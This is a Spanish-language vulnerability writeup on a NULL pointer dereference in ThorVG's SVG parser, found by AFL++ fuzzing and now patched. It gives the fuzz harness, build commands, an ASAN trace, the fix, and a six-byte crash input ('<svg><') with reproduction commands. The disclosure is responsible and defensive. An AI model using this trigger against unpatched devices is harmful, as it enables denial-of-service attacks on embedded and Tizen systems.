
Desreferencia de puntero NULL en ThorVG mediante SVG malformado — writeup de fuzzing con AFL++
Severidad: CVSS 4.3 (Media) — CWE-476
Aviso: GHSA-f863-8ghq-7h64
Corregido en: ThorVG v1.0.5
Estado: Parcheado / Divulgado
El analizador SVG de ThorVG desreferencia un puntero que nunca se inicializa cuando encuentra una
etiqueta de elemento hijo truncada dentro de un nodo raíz <svg>. El error es alcanzable a través de
la ruta de renderizado normal (tvg::Picture::load → análisis → renderizado) y se puede activar con
una entrada de 6 bytes.
El impacto en el peor de los casos en Linux estándar es un bloqueo del proceso (DoS) — mmap_min_addr
impide mapear la página NULL, por lo que la falla no es directamente explotable para ejecución de código
en ese entorno. En objetivos sin MMU donde también se usa ThorVG (Tizen, firmware basado en LVGL), el
panorama de explotabilidad es diferente y merece un análisis más detallado.
ThorVG es un motor de gráficos vectoriales multiplataforma escrito en C++17. Es el renderizador SVG/Lottie predeterminado en Samsung Tizen OS, está incluido en LVGL (ampliamente utilizado en interfaces de usuario embebidas/IoT) y se distribuye como biblioteca independiente en múltiples plataformas.
La biblioteca procesa entradas SVG/JSON no confiables y a menudo está expuesta en contextos sin separación de privilegios. El código de los analizadores en las bibliotecas gráficas ha sido históricamente una fuente fiable de errores de seguridad de memoria — ThorVG se desarrolla activamente y, en el momento de esta investigación, no tenía cobertura de fuzzing registrada en los rastreadores públicos de errores.
El harness envuelve la API de carga en memoria de ThorVG para que AFL++ pueda manejar el analizador directamente sin E/S de disco.
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
Compilar con ASAN e instrumentación de cobertura:
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
Comenzar desde cero con bytes aleatorios funciona mal en analizadores sensibles al formato. Sembré el corpus con un conjunto de archivos SVG mínimos estructuralmente válidos que cubren:
<svg xmlns="..."/>)<rect>, <circle>, <path>)<g> anidado<use>Las semillas que tienen en cuenta la estructura redujeron el tiempo hasta los primeros caminos interesantes de horas a menos de 20 minutos en mi entorno.
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
-x svg.dict — diccionario de tokens de AFL++ con palabras clave SVG para ayudar a mutar hacia nombres de etiqueta válidos.
-m none — la memoria sombra de ASAN requiere deshabilitar el límite de memoria de AFL++.
AFL++ produjo un bloqueo después de aproximadamente 3 horas de fuzzing con un solo núcleo. La entrada que provocó el fallo inicial fue de ~180 bytes. La salida de ASAN:
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
La falla es una lectura a través de un puntero SvgNode* no inicializado (NULL) dentro de _parseStyle.
Se espera que el puntero sea asignado por _createElement cuando procesa un elemento hijo,
pero un nombre de etiqueta truncado hace que el elemento se omita sin que se asigne el puntero,
y _parseStyle procede a desreferenciarlo de todos modos.
Minimizado con afl-tmin y luego poda manual:
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
Después de afl-tmin, la entrada era de 14 bytes. La inspección manual de la ruta de análisis mostró
que solo se consumieron los primeros 6 bytes antes de la falla:
<svg><
<svg> abre el nodo raíz. < inicia una etiqueta de elemento hijo. El analizador lee el nombre de la
etiqueta, obtiene una cadena vacía (la entrada termina inmediatamente después de <), omite la creación
del elemento y continúa hacia _parseStyle con el puntero de nodo aún NULL.
Confirme que el desencadenante de 6 bytes se reproduce:
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# o
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
src/loaders/svg/tvgSvgParser.cpp
Pseudocódigo simplificado del flujo vulnerable:
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName); // tagName == "" → returns nullptr
// No NULL check before passing into style parser
_parseStyle(node, attributes); // ← dereferences node->style at offset 0x18
El parche en v1.0.5 añade una salida anticipada en el bucle de despacho de elementos cuando _createElement
devuelve nullptr, antes de que se intente cualquier procesamiento de atributos/estilos.
/proc/sys/vm/mmap_min_addr normalmente está establecido en 65536 en las distribuciones modernas.
La página NULL no está mapeada, por lo que la CPU genera un SIGSEGV que el kernel convierte en una señal
para el proceso: el resultado es un bloqueo (DoS). No hay escritura controlada, ni control del
contador de programa (PC), ni es directamente explotable para ejecución de código.
ThorVG es un ciudadano de primera clase en Tizen (SO de Samsung para IoT/dispositivos portátiles) y está integrado en LVGL, que se ejecuta en microcontroladores y sistemas sin MMU.
En sistemas sin MMU no hay protección de memoria y mmap_min_addr no aplica. Si la página NULL está mapeada
(lo cual es común en entornos embebidos bare-metal), una desreferencia de puntero NULL podría potencialmente
apuntar a memoria controlada por el atacante. Que esto sea alcanzable en un ataque real depende de la
superficie de ataque: ThorVG en un dispositivo Tizen puede analizar SVG de fuentes de red no confiables o
contenido proporcionado por el usuario.
Este contexto es lo que justifica la divulgación responsable incluso para un hallazgo de CVSS de severidad Media.
El parche añade una comprobación de NULL en el bucle de despacho de elementos SVG:
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // unconditional
// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // skip if element was not created
_parseStyle(node, attrs);
Diff completo: lanzamiento ThorVG v1.0.5
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build
# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin
Salida esperada: informe de ASAN con SEGV on unknown address 0x000000000000 en
tvg::SvgParser::_parseStyle.
Encontrado por yeahhbean (이예빈) mediante fuzzing guiado por cobertura con AFL++ y un corpus semilla de SVG sensible a la estructura.
| Fecha | Evento |
|---|
| 2026-xx-xx | Bloqueo descubierto mediante AFL++ |
| 2026-xx-xx | Causa raíz confirmada bajo ASAN; POC de 6 bytes generado |
| 2026-xx-xx | Informe privado enviado al mantenedor de ThorVG (hermet) a través de GitHub Security Advisory |
| 2026-xx-xx | El mantenedor reconoció el informe y abrió un fork privado |
| 2026-xx-xx | Parche fusionado en v1.0.5 |
| 2026-xx-xx | GHSA-f863-8ghq-7h64 publicado; CVE-2026-45729 asignado |